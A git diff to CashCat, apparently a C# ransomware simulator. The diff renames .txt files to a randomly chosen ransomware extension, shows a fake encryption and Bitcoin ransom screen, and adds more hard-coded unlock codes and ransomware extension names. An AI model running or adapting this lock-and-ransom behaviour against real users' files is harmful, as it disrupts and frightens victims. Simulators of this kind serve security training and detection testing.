diff --git a/CashCat/FileSystemOperation.cs b/CashCat/FileSystemOperation.cs
index c379b85..957aa82 100644
--- a/CashCat/FileSystemOperation.cs
+++ b/CashCat/FileSystemOperation.cs
@@ -112,12 +112,15 @@ public FileInfo[] GetTXTFileCount (string path)
             return Files;
         }
 
-        public void LockTXTFile(FileInfo file)
+        public void LockTXTFile(FileInfo file, string extension)
         {
             string oldfilename = file.Name;
 
+            // todo optional mode? 
+            //string newExtension = RandomwareFileList.GetRandomFileExtension();
+
+            string newExtension = extension;
 
-            string newExtension = RandomwareFileList.GetRandomFileExtension();
 
             string newfilename = (file.Name).Replace(".txt", newExtension);
             string oldfileExtension = file.Extension;
diff --git a/CashCat/MainWindow.xaml b/CashCat/MainWindow.xaml
index 5f3a2cc..8822a62 100644
--- a/CashCat/MainWindow.xaml
+++ b/CashCat/MainWindow.xaml
@@ -18,7 +18,7 @@
         </Grid.RowDefinitions>
 
         <Image Name="CashCatBackground" Visibility="Collapsed" HorizontalAlignment="Left" Height="609" Margin="0,0,-1,-67" VerticalAlignment="Top" Width="822" Source="cashcat.jpg" Grid.ColumnSpan="3"/>
-        <Image Name="LockerIcon" HorizontalAlignment="Left" Height="136" VerticalAlignment="Top" Width="136" Source="font-awesome_4-7-0_lock_100_0_ffffff_none.png" Margin="0,26,0,0" Grid.Column="1" RenderTransformOrigin="0.5,0.5">
+        <Image Name="LockerIcon" HorizontalAlignment="Left" Height="136" VerticalAlignment="Top" Width="136" Source="font-awesome_4-7-0_lock_100_0_ffffff_none.png" Margin="5,24,0,0" Grid.Column="1" RenderTransformOrigin="0.5,0.5">
             <Image.RenderTransform>
                 <RotateTransform/>
             </Image.RenderTransform>
diff --git a/CashCat/MainWindow.xaml.cs b/CashCat/MainWindow.xaml.cs
index f2039a8..55dca20 100644
--- a/CashCat/MainWindow.xaml.cs
+++ b/CashCat/MainWindow.xaml.cs
@@ -46,6 +46,8 @@ public partial class MainWindow : Window
         public DateTime lockTime = DateTime.Now.AddDays(5);
         public DateTime priceTime = DateTime.Now.AddDays(1);
 
+        private RansomFiles ransomwareDefinition = new RansomFiles();
+
 
 
         public MainWindow()
@@ -174,6 +176,9 @@ private void Window_ContentRendered(object sender, EventArgs e)
 
             if (filesToEncrypt.Count() != 0)
             {
+
+                string newExtension = ransomwareDefinition.GetRandomFileExtension();
+
                 btn_send.Visibility = Visibility.Hidden;
                 txtbox_Bitcoingaddess.Visibility = Visibility.Hidden;
                 encryptionInProgress = true;
@@ -188,7 +193,7 @@ private void Window_ContentRendered(object sender, EventArgs e)
                         lblLockingFile.Content = ("Encrypting: " + file.Name);
                     }), DispatcherPriority.ContextIdle);
 
-                    fileOperations.LockTXTFile(fileToEncrypt);
+                    fileOperations.LockTXTFile(fileToEncrypt, newExtension);
 
                 }
             }
@@ -230,10 +235,10 @@ private void Button_Click(object sender, RoutedEventArgs e)
         {
 
             string unlockCode = txtbox_Bitcoingaddess.Text;
-            if (txtbox_Bitcoingaddess.Text == "123456789" || txtbox_Bitcoingaddess.Text == "987654321" || txtbox_Bitcoingaddess.Text == "12345")
+            if (txtbox_Bitcoingaddess.Text == "123456789" || txtbox_Bitcoingaddess.Text == "987654321" || txtbox_Bitcoingaddess.Text == "12345" || txtbox_Bitcoingaddess.Text == "69420" || txtbox_Bitcoingaddess.Text == "42069" || txtbox_Bitcoingaddess.Text == "69" || txtbox_Bitcoingaddess.Text == "420")
             {
                 fileOperations.WriteLog("Starting Unlock Rename Operations!");
-                MessageBox.Show("Unlocked! Thanks! Your files will now be decrytped", "You did it correct", MessageBoxButton.OK);
+                MessageBox.Show("Unlocked! Thanks! Your files will now be decrypted", "You did it correct", MessageBoxButton.OK);
 
                 filesToDecrypt = fileOperations.GetRansomedFileCount(currentPath);
                 //fileOperations.WriteLog("Found: " + filesToDecrypt.Count() + " to DeCrypt!");            
diff --git a/CashCat/RansomFiles.cs b/CashCat/RansomFiles.cs
index 927b96e..5de13e4 100644
--- a/CashCat/RansomFiles.cs
+++ b/CashCat/RansomFiles.cs
@@ -9,7 +9,7 @@ namespace CashCat
     class RansomFiles
     {
 
-        public string[] fileExtensions = new string[] { ".AngryDuck", ".0day", ".beef", ".beer", ".BitCryptor", ".BOMBO", ".CommonRansom", ".CoronaLock", ".Crypt0L0cker", ".D00mEd", ".Dab", ".Dablio", ".DIABLO6", ".GoldenEye", ".Horriblemorning", ".HUSTONWEHAVEAPROBLEM@KEEMAIL.ME", ".Lazarus", ".locker", ".locky", ".newlock", ".NOOB", ".nuclear", ".PayDay", ".petra", ".porno", ".prd", ".Ryuk", ".satan", ".satana", ".SHARK", ".TROLL", ".weapologize", ".WECANHELP", ".write_us_on_email", ".zeppelin" };
+        public string[] fileExtensions = new string[] { ".AngryDuck", ".0day", ".beef", ".beer", ".BitCryptor", ".BOMBO", ".CommonRansom", ".CoronaLock", ".Crypt0L0cker", ".D00mEd", ".Dab", ".Dablio", ".DIABLO6", ".GoldenEye", ".Horriblemorning", ".HUSTONWEHAVEAPROBLEM@KEEMAIL.ME", ".Lazarus", ".locker", ".locky", ".money",".newlock", ".NOOB", ".nuclear", ".parrot",".PayDay", ".petra", ".porno", ".PrOtOnIs", ".prd", ".razor", ".Ryuk", ".satan", ".satana", ".SHARK", ".TROLL", ".weapologize", ".WECANHELP", ".write_us_on_email", ".zeppelin" };
 
         private Random rand = new Random();